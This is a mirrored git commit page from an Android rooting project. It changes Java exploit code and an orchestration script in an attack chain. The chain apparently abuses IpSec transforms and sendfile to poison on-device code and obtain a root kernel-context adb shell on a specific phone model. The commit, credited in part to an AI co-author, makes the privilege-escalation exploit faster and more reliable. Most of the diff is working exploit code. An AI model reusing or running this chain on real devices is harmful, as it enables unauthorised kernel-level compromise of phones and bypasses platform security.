mirror of
https://github.com/Henry1887/fuguquest.git
synced 2026-11-04 19:56:31 +00:00
Speed up chain to adb-root: 32s -> ~14s (and eliminate retry stalls)
Profiled --adb-root on live Q3 (52433670036000520). Cuts: - Writer (e2e.dex): the intermittent "writer incomplete" retries were IpSec objects (encap socket + Binder token) getting GC-collected mid-run under post-boot memory pressure -> IpSecService tore down the SA -> every send threw ECONNREFUSED -> whole run aborted + JVM/SA restart (~4-8s each). Fixed by pinning them in a static (KEEP), plus SO_SNDBUF bump and per-record retry on transient errno (EAGAIN/ENOBUFS/ECONNREFUSED) so a hiccup never aborts the run. Also paced sends at 1ms instead of 3ms (the on-device ctor poisons sleeplessly). - orchestrate.py: poll getenforce after `ctl.start insmod_sh` instead of a fixed sleep(4) (~3.5s); settle default 8 -> 3 (ctor's init_array runs early); Q3 --adb-root skips the two code-poison reverts (~8s) — transient session, SA already stopped so the dead-SA ctor is harmless (--postex still reverts, for Magisk). poison() now surfaces the writer's exception on retry for diagnosis. Verified on-device: 14.6s, single clean inject pass (no retries), fresh `adb shell` = uid 0 / u:r:kernel:s0. Co-Authored-By: Claude Opus 4.8 <[email protected]>
This commit is contained in:
1 parent
90eb28ca30
commit
309dc2c18f
3 files changed
+38
-14
No files matched your search
+26
-4
@@ -33,6 +33,7 @@ public class Writer {
|
||||
Field x = o.getClass().getDeclaredField(f); x.setAccessible(true); return x.getInt(o);
|
||||
}
|
||||
static byte[] KEYMAT = new byte[20];
|
||||
static Object[] KEEP; // pins the IpSec token/socket/SA alive against mid-run GC teardown
|
||||
static Cipher AES;
|
||||
static int ks0(byte[] iv) throws Exception {
|
||||
byte[] ctr = new byte[16];
|
||||
@@ -78,10 +79,15 @@ public class Writer {
|
||||
cfgC.getMethod("setEncapRemotePort", int.class).invoke(cfg, port);
|
||||
cfgC.getMethod("setAuthenticatedEncryption", C("android.net.IpSecAlgorithm")).invoke(cfg, alg);
|
||||
Object tr = call("createTransform", new Class<?>[]{cfgC, IB, String.class}, cfg, tok, "com.android.shell");
|
||||
// Keep the IpSec objects strongly reachable for the WHOLE run. If tok/enc/spiR get GC'd mid-run
|
||||
// (likely under post-boot memory pressure), IpSecService death-cleanup closes the encap socket +
|
||||
// SA and every send then throws ECONNREFUSED -> the run aborts. Static ref pins them alive.
|
||||
KEEP = new Object[]{ svc, tok, enc, spiR, alg, cfg, tr };
|
||||
System.out.println("[*] writer SA status=" + fi(tr, "status") + " spi=0x" + Integer.toHexString(spi)
|
||||
+ " port=" + port + " recs=" + nrec);
|
||||
|
||||
FileDescriptor sk = Os.socket(OsConstants.AF_INET, OsConstants.SOCK_DGRAM, 0);
|
||||
try { Os.setsockoptInt(sk, OsConstants.SOL_SOCKET, OsConstants.SO_SNDBUF, 4 << 20); } catch (Throwable t) {}
|
||||
Os.connect(sk, InetAddress.getByName("127.0.0.1"), port);
|
||||
FileDescriptor f = Os.open(path, OsConstants.O_RDONLY, 0);
|
||||
|
||||
@@ -102,10 +108,26 @@ public class Writer {
|
||||
byte[] hdr = new byte[16];
|
||||
hdr[0]=(byte)(spi>>>24); hdr[1]=(byte)(spi>>>16); hdr[2]=(byte)(spi>>>8); hdr[3]=(byte)spi;
|
||||
hdr[7]=1; System.arraycopy(iv,0,hdr,8,8);
|
||||
Os.sendto(sk, hdr, 0, 16, MSG_MORE, null, 0);
|
||||
Os.sendfile(sk, f, new Int64Ref(o), 17);
|
||||
Os.sendto(sk, new byte[0], 0, 0, 0, null, 0);
|
||||
Thread.sleep(3);
|
||||
// Resilient send: on a busy system the loopback UDP buffer can transiently fill (EAGAIN).
|
||||
// Retry THIS record inline (flushing any corked partial first) instead of aborting the whole
|
||||
// run — so the orchestrator never has to restart the JVM+SA. 1ms pacing between records.
|
||||
int tries = 0;
|
||||
while (true) {
|
||||
try {
|
||||
Os.sendto(sk, hdr, 0, 16, MSG_MORE, null, 0);
|
||||
Os.sendfile(sk, f, new Int64Ref(o), 17);
|
||||
Os.sendto(sk, new byte[0], 0, 0, 0, null, 0);
|
||||
break;
|
||||
} catch (android.system.ErrnoException e) {
|
||||
// Transient loopback/ESP errors right after boot: EAGAIN/ENOBUFS (buffer full) and
|
||||
// ECONNREFUSED (a queued async ICMP error on the connected UDP socket). All clear on
|
||||
// retry, so retry THIS record inline (bounded) instead of aborting the whole run.
|
||||
try { Os.sendto(sk, new byte[0], 0, 0, 0, null, 0); } catch (Throwable ignore) {} // flush cork
|
||||
if (++tries > 500) throw e;
|
||||
Thread.sleep(2);
|
||||
}
|
||||
}
|
||||
Thread.sleep(1); // pacing; the on-device ctor poisons sleeplessly, so 1ms is ample
|
||||
wrote++;
|
||||
}
|
||||
r.close();
|
||||
|
||||
Reference in new issue
Block a user